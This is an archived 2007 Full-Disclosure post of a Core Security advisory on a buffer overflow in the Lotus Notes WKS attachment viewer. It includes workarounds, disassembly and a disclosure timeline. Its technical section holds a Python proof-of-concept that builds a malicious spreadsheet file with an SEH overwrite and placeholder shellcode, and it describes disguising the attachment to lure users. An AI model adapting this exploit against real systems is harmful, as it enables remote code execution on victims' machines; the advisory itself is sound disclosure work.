

# [Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-11/msg00548.html>

---

- *From:* Core Security Technologies Advisories <[advisories@xxxxxxxxxxxxxxxxxxx](mailto:advisories@xxxxxxxxxxxxxxxxxxx)>
  - *Date:* Tue, 27 Nov 2007 15:22:02 -0300
- 

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Core Security Technologies CoreLabs Advisory  
<http://www.coresecurity.com/corelabs>

Lotus Notes buffer overflow in the Lotus WorkSheet file processor

**\*Advisory Information\***

Title: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

Advisory ID: CORE-2007-0821

Advisory URL: <http://www.coresecurity.com/index.php5?action=item&id=2008>

Date published: 2007-11-27

Date of last update: 2007-11-27

Vendors contacted: IBM Corp.

Release mode: COORDINATED RELEASE

**\*Vulnerability Information\***

Class: Input validation error

Remotely Exploitable: Yes

Locally Exploitable: Yes

Bugtraq ID: N/A

CVE Name: N/A

**\*Vulnerability Description\***

Lotus Notes is the integrated email, calendar, instant messenger, browser and business collaboration application developed by IBM to work as a desktop client in conjunction with IBM's Lotus Domino server application.

The email functionality of Lotus Notes supports previewing and processing file attachments in various formats. To preview and process files in the Lotus Worksheet File format (WKS) used by Lotus 1-2-3 the email client uses a library from a third-party software vendor (Autonomy's Verity KeyView SDK). Several buffer overflow vulnerabilities were found in the third-party library used by Lotus Notes to process Lotus 1-2-3 file

attachments.

These vulnerabilities could allow attackers to remotely execute arbitrary commands on vulnerable systems by attaching a specially crafted file that triggers exploitation when unsuspecting users attempt to View the attachment. Exploitation of these vulnerabilities requires user intervention.

Although these specific vulnerabilities exist on a third party component the problem is compound by the way Lotus Notes displays information about attachments, making it easier to elicit unsuspecting assistance from the users to exploit them. Lotus Notes displays the file type and corresponding icon based on the attached file s extension rather than the MIME Content-Type header in the email whereas the view functionality is handled by the Verity KeyView component which processes the attachment based on the file contents. Exploitation of these vulnerabilities requires end-user interaction but the discrepancy described above could allow an attacker to send a malicious Lotus 1-2-3 file as an attachment with a seemingly innocuous extension (for example, .JPG or .GIF) that more easily lure users into viewing it thus making it easier to succeed in the exploitation attempt.

These vulnerabilities have been discovered and tested using Lotus Notes and the Verity KeyView SDK components it uses but other applications that use the Verity KeyView SDK may be also vulnerable.

**\*Vulnerable packages\***

- Lotus Notes version 7.x
- Lotus Notes version 8.x (not confirmed by Core)
- Lotus Notes version 6.5.6 (not confirmed by Core)
- Other software packages using Verity KeyView SDK using vulnerable versions of 1123sr.dll

**\*Non-vulnerable packages\***

N/A

**\*Solution/Vendor Information/Workaround\***

Lotus Notes customers should follow the instructions of the following support Technote, which outlines the available options based on specific versions of Lotus Notes:

<http://www.ibm.com/support/docview.wss?rs=475&uid=swg21285600>

Workaround 1: Delete the keyview.ini file in the Notes program directory. This disables ALL viewers. When a user clicks View (for any file), a dialog box will display with the message "Unable to locate the viewer configuration file."

Workaround 2: Delete the problem file 1123sr.dll file. When a user tries to view the specific file type, a dialog box will display with the message

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

"The viewer display window could not be initialized." All other file types work without returning the error message.

Workaround 3: Comment out specific lines in keyview.ini for any references to the problem file (I123sr.dll). To comment a line, you precede it with a semi-colon (;). When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized". For example:

```
[KVWKBVE]
;81.2.0.5.0=I123sr.dll
;81.2.0.9.0=I123sr.dll
```

Workaround 4: Filter inbound emails with attachments with potentially malicious files. Lotus 1-2-3 files are usually associated to MIME Content-Type headers set to the following strings:

```
application/lotus-1-2-3
application/lotus123
application/x-lotus123
application/wks
application/x-wks
application/vnd.lotus-1-2-3
```

Note however that workaround #4 is a simply stop gap measure that could be circumvented by relatively unsophisticated attackers.

**\*Credits\***

This vulnerability was discovered by Sebastián Muñoz from the CORE IMPACT Exploit Writers Team (EWT)

**\*Technical Description\***

Lotus 1-2-3 and Lotus Symphony spreadsheet applications use the Worksheet File format [1] to persist spreadsheet data on the file system. Lotus Notes uses a third-party library [2] to process file attachments in the Lotus Worksheet File format (WKS).

A worksheet file in WKS format is simply a binary representation of the spreadsheet built using a sequence of binary records in the TLV form (Type-Length-Value) where both Type and Length are encoded using two bytes.

There are multiple vulnerabilities in the way the Verity KeyView SDK DLL processes the TLV records of a worksheet file. These vulnerabilities stem from lack of proper consistency checks for the stated Length and the corresponding Value in several record Types.

As an specific example for records of type SRANGE (0x001b) which can specify arbitrary lengths of data that the library attempt to copy in to a fixed length buffer in the stack is shown in following disassembled code:

```
.text:02A87FD4 cmp eax, 1Bh
.text:02A87FD7 jz loc_2A881C9
...
```

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

```
.text:02A881DC lea eax, [ebp+szVulnerableBuffer]
.text:02A881E2 push edi ; length of read operation, taken from the file
.text:02A881E3 push eax ; stack based buffer
.text:02A881E4 mov eax, [ebp+0Ch]
.text:02A881E7 push eax
.text:02A881E8 call dword ptr [eax+24h] ; read function!
```

When a field of type SRANGE (0x001b) is read the conditional jump at 0x02A87FD7 (jz 0x2A881C9) is taken. The destination buffer is cleared and the Length value for this record is read to process it.

At address 0x2A881E2 edi (containing the Length of the TLV record) is pushed and then the read operation takes place at address 0x2A881E8 reading an arbitrary amount of bytes into a fixed size buffer in the stack. Thus a malicious Worksheet file can trigger execution of arbitrary code on vulnerable systems by exploiting the vulnerability using one of the appropriate exploitation techniques for stack-based buffer overflows.

However, exploitation on a Lotus Notes email client requires that the user attempts to view the attached file following this steps:

- 1- Select email containing the attachment
- 2- Right-click on attachment
- 3- Select View to open the file inside of Lotus Notes.

Unfortunately, users can be lured into performing the steps above due to the fact that it is possible to send a malicious attachment with a seemingly innocuous file name and extension such and have the Lotus Note client show a graphic icon for the attachment that corresponds to the filename extension and not to the actual contents of the file.

#### Proof of concept snippets

The following snippet of Python code generates a .123 file that triggers the bug when it is processed by vulnerable versions of the library. The proof-of-concept file will only trigger an exception for debugging purposes (int 3) but it makes it evident that exploitation of the bug in order to execute any arbitrary code is possible.

```
from sys import argv
from struct import pack

def createMaliciousFile(filename):
    seh_offset = 0x9c4
    jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased)

    shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3

    content = '\x00\x00' # header record type
    content += '\x1a\x00' # header length
    content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01'
    content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00'
    content += '\x1b\x00' # vulnerable record type
```

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

```
payload = "  
payload += '\x90' * (seh_offset - 4) #others too  
payload += '\xeb\x06\x90\x90' # jmp six bytes forward  
payload += pack('<L', jumper)  
payload += shellcode  
  
content += pack('<H', len(payload))  
content += payload  
  
fd = open(filename, 'wb')  
fd.write(content)  
fd.close()  
  
if len(argv) is not 2:  
print '[-] Must specify a filename. Remember to change the pop pop ret  
address! :)'  
else:  
createMaliciousFile(argv[1])  
  
*Report Timeline*  
2007-09-13: Email to IBM AIX security requesting security contact  
information for Lotus Notes  
2007-09-14: Reply from IBM AIX security team with contact information of  
the IBM Lotus Notes security team  
2007-09-17: Email to IBM Lotus Notes security notifying Core s intent to  
report the vulnerability in Lotus Notes and Autonomy s KeyView SDK and  
requesting an acknowledgement within 2 business days indicating of whether  
further communications should be encrypted. Security advisory publication  
date set to October 15th. Security contact information for Autonomy s  
KeyView requested.  
2007-09-18: Response from Lotus Notes security providing public PGP key to  
encrypt further communications and inquiring is the publication date is  
flexible or fixed.  
2007-09-18: Email from Core including details about the vulnerability in a  
draft advisory document. Core indicates that the publication date for the  
security advisory is flexible and could be changed (postponed or brought  
forward) on the basis of concrete and precise information about  
availability of fixes. Security contact information for Autonomy requested.  
2007-09-19: Email from Lotus Notes security indicating that the bugs will  
be investigated and that will check and get back regarding the request  
contact of information for Autonomy.  
2007-09-20: Email from Lotus Notes Security requesting proof-of-concept  
code to validate the finding.  
2007-09-21: Proof-of-concept code and sample of a malicious file sent to  
Lotus Notes Security  
2007-09-21: Email from Lotus Notes Security indicating that the  
proof-of-concept will be passed to the development team and contact  
information for Autonomy made available after verification.  
2007-10-03: Email from Core requesting a status update and reminding Lotus  
Notes security that the disclosure date was originally set for October 15th.  
2007-10-05: Email from Lotus Notes Security indicating that the
```

vulnerability has been reproduced and a Lotus Software Problem Report has been issued. The issue has been logged with Autonomy and that currently there is no information available about how or when it will be fixed.

2007-10-17: Email from Core's Security advisories team requesting a status update and indicating that the original date planned for publication of the advisory has already passed without any communication from IBM regarding the issue, let alone any concrete plans to fix the bug. The publication date for Core's security advisory has been re-scheduled for October 30th, 2007. The date remains flexible on the basis of receiving concrete and specific details about availability of fixes by Wednesday, October 24th. An up to date copy of the security advisory provided for comments and suggested workarounds.

2007-10-23: Email from Lotus Notes Security indicating that a ticket had been opened with Autonomy and that since this is a client-side issue the fix would be provided in one of the future maintenance releases of the Lotus Notes client. Ongoing work with Autonomy needs to continue before being able to confirm when the fix will be rolled into the product.

2007-10-23: Email from Core's advisory team with follow up questions to Lotus Notes Security: 1. Is it official policy to include fixes to client-side vulnerabilities in maintenance releases? 2. What is the scheduled date for general availability of the next maintenance release? 3. Will the fix to the bugs reported in l123sl.dll be included in the next maintenance release? Core also highlights that at the same time that Lotus was notifying Core a maintenance release for Lotus Notes was released, fixing several bugs that are almost exactly the same as the ones Core reported [3]. Core indicates that while we appreciate involvement from Lotus Notes Security and the reassuring statements about how serious are the bugs taken at Lotus, Core considers concrete details and specific actions better indicators to assess how serious a vendor is. The fact that Lotus Notes didn't even notify Core of such a highly relevant upcoming disclosure, (which included workarounds that could apply to the problem reported by Core) is a discouraging indicator. Furthermore, since Lotus Notes still hasn't provided any specific timeline to release fixes and after analysis the timelines of the third party advisories of the recently disclosed vulnerabilities, a reasonable assessment based on evidence indicates an expectation of 10 months from the initial date of report to the vendor and a 7 months estimation since the vulnerability positive confirmation date. Based on that and the assessment that addressing the reported vulnerabilities requires a much faster pace for fixes, Core will proceed with the advisory release currently scheduled for October 30th, 2007. The workarounds already provided by Lotus for similar vulnerabilities will be included in Core's advisory. Any official statements from the Lotus Notes team regarding workaround or availability of fixes should be received by COB Friday Oct. 26th.

2007-10-24: Email from Lotus Notes security indicating that included statements are not official. Answers to questions from Core's email provided: 1. Yes, client-side fixes are included in Maint. Releases of Lotus Notes, Fix Packs are server-based. The bugs reported by core are on the client. 2. Target dates for maintenance releases provided (end of 2007, March 2008, 2009). 3. Still can't confirm if the fix will be included and to what extent. Autonomy indicated that will ship a fix in

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

version 10.3 which is shipping soon. Core was not notified of the planned release of similar client-side security fixes in the maintenance release to preserve confidentiality with other vulnerability reporters. Likewise Lotus Notes did not notify the others of Core's similar report. Three versions of the Lotus Notes client are addressed by Core's report. Also a partial chronology of the report timeline was provided.

2007-10-26: Confidential email received from Lotus Note Security

2007-10-26: Email from Core advisories team to Lotus Notes Security acknowledging reception of the previous email. Unfortunately it did not provide any specific details about a scheduled date for availability of fixes which is what Core needed to consider re-scheduling publication of its advisory. Core appreciates other party's views regarding what constitutes responsible disclosure and but does not agree with any assessments indicating that the company is putting customers at risk. In fact Core's views are that customers are already at risk due to vulnerabilities and that it is the lack of effective and timely response to mitigate a lack of sound security practices in the SDLC what puts customers at risk. Core's advisory disclosure seek to inform and explain the situation to vulnerable users and to provide the details necessary to devise, deploy and test protection countermeasures until the vendor comes out with an official fix. Core believes that client-side vulnerabilities are increasingly important and merit the release of stand-alone, out of cycle patches rather the rolling fixes into maintenance releases. Core was expecting that fixes would be available within several weeks (rather than several months) of confirmation of the vulnerability.

2007-10-29: Email from Lotus Notes Security indicating that delaying publication of Core's advisory for 30 days would provide enough time to release fixed. Coordinated release of fixes and information suggested for Nov. 27th, 2007. Official statement provided for Core's advisory. Response from Core is expected by EOD.

2007-10-29: Email from Core's advisory team indicating that now that a specific date for availability of fixes was provided Core is willing to reschedule publication of the advisory to November 27th, 2007. However, if there are any indications of the bug being exploited in the wild information will be released immediately with a Forced Release mode.

2007-11-15: Email from Lotus Notes Security asking if we're still on target for the Nov 27th release and requesting a URL to Core's advisory and providing a link to Lotus Notes Technote regarding the issue.

Question about how Core would like to be credited in the Technote.

2007-11-20: Last email from Lotus notes Security (2007-11-15) resent to Core's advisories team.

2007-11-20: email from Core advisory team acknowledging reception of previous email and stating that Core is on track for the Nov 27th release. URL and credit discovery details provided. A brief description of the planned schedule on publication date included.

2007-11-21: Lotus Notes security acknowledges Core's last email

2007-11-27: Email from Lotus Notes notifying of the release of the Technote concerning this issue.

2007-11-27: Email from Core's advisories team sent to Lotus Notes Security with final draft of security advisory CORE-2007-0821

2007-11-27: CORE-2007-0821 advisory published

\*Additional Information/ Resources\*

[1] Lotus Staff, Worksheet File Formats, Addison-Wesley Longman Publishing Co., Inc., Boston, MA, 1987.

[2] Verity KeyView SDK; <http://www.verity.com/content/Products/KeyView/>

[3] Client-side vulnerabilities disclosed in Lotus Notes on October 23rd, 2007

<http://www-1.ibm.com/support/docview.wss?uid=swg21271111>

<http://www-1.ibm.com/support/docview.wss?uid=swg21272836>

<http://www-1.ibm.com/support/docview.wss?uid=swg21272930>

<http://www-1.ibm.com/support/docview.wss?uid=swg21270884>

<http://www-1.ibm.com/support/docview.wss?uid=swg21257030>

<http://www-1.ibm.com/support/docview.wss?uid=swg21271957>

\*About Corelabs\*

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

<http://www.coresecurity.com/corelabs/>

\*About Core Security Technologies\*

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at <http://www.coresecurity.com>.

\*DISCLAIMER\*

The contents of this advisory are copyright (c) 2007 CORE Security Technologies and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

\*PGP/GPG KEYS\*

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at [http://www.coresecurity.com/files/attachments/core\\_security\\_advisories.asc](http://www.coresecurity.com/files/attachments/core_security_advisories.asc)

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.7 (MingW32)

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor

iD8DBQFHTGBKyNibggitWa0RAnL2AKCOxLVfP2L0Bd/oi3qhz6saN+h41QCfRZZp  
m6UxC9U1ALsm7gOzMll0s9E=  
=Ku+o  
-----END PGP SIGNATURE-----

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>

[Full-disclosure] CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor